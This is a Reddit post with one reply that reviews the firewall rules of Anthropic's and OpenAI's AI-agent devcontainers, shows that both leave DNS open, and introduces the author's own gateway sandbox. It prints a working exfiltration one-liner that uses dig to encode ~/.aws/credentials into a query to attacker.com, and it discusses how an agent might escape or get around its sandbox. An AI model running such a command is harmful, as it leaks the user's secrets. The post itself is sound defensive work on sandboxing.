r/ChatGPTCoding • u/Hansehart • 16h ago
Resources And Tips I read Anthropic's and OpenAI's agent devcontainers line by line. Here's what both leave open.
I run four agents at once on separate branches and worktrees and stopped reading every diff months ago. That only works if something other than my attention is holding the line, that is why I started to add security features to my dev containers.
It started with Anthropic's dev container. Its firewall lets DNS out to any server. So does OpenAI's, and their README says so plainly. Neither stops an agent shipping your keys out through a DNS query.
The detail, Anthropic's first. Line 29 allows UDP 53 to any server. Line 33 allows TCP 22 to any host. The allowlist rule on 117 has no port match, so it's any port on an allowed IP.
OpenAI's secure profile is better. Actual IPv6 default-deny, verified at startup, no SSH hole. DNS is still open though, UDP and TCP, lines 78 and 79. To their credit the README just says it:
The firewall does not apply its domain allowlist to DNS traffic, so code from an untrusted repository can exfiltrate data through DNS.
DNS is the one that bothered me, because it needs no privileges at all.
dig $(cat ~/.aws/credentials | base64 | head -c 60).attacker.com
That never connects to the attacker. A resolver you're allowed to use walks the chain and hands it over. iptables sees a normal query to an approved resolver and lets it through.
Docker's sbx is the one that's actually a product: KVM microVM, its own kernel, a gVisor userspace netstack, rules that are per host and per port and secret injection. Stronger boundary than anything I've built, no argument. Needs a Docker account though, and on a fresh personal account with no org it told me my policy was "managed by unknown organization" and wouldn't create a sandbox at all. Can't debug, because it's closed source.
As an open alternative I devloped o3s, it merges security and rapid development: Firewall lives in a separate container. The workspace has no way out except through it. DNS goes to a dnsmasq on that gateway with no catch-all upstream, just the domains I listed, so anything else gets refused instead of forwarded. Those same lookups drop the resolved IPs into ipsets, which is what keeps it working when a CDN moves.
Policy is one file:
["api.openai.com"]
ports = [443]
secret = "OPENAI_API_KEY"
That secret line is the bit I use most. Key stays on the gateway, container gets a placeholder, gateway swaps in the real token on the way out for that host only.
Half of this isn't security though, and that's the half I actually notice day to day. Every repo and worktree in one workspace file, four agents on four branches, one source-control view for all of it. Rootless Docker and minikube inside so an agent can bring the whole stack up and wreck it. Everything installed is a devcontainer feature, so it's a list you edit rather than an image you're stuck with.
I also had the threat model wrong at first. I assumed the agent could just flush the firewall itself. It can't, sudo is scoped to that one script and a non-root process doesn't hold NET_ADMIN. So the problem was never escape, it's that the policy allows too much.
It won't stop exfiltration to a host you allowlisted, obviously. Push to your own GitHub repo and it's gone. And a container is a weaker boundary than a VM, so if you're running properly hostile code, go use sbx.
Otherwhise as open alternative: o3s
Anyone else using dev containers for their agent?
2
u/DontLikeLinux 4h ago
I like the distinction between the tool's advertised isolation and the actual policy surface. In backend work, the network boundary is usually where the useful guardrail is: a restricted egress allowlist plus a separate token broker gives me more confidence than hoping an agent never reads a secret from the workspace.
The DNS exception is exactly the sort of detail I want called out in a code review, because a container can look locked down while still leaving a practical exfiltration path. I would also log every egress decision and run the generated tests outside the container, so the sandbox is an additional check rather than the only thing standing between an agent and production.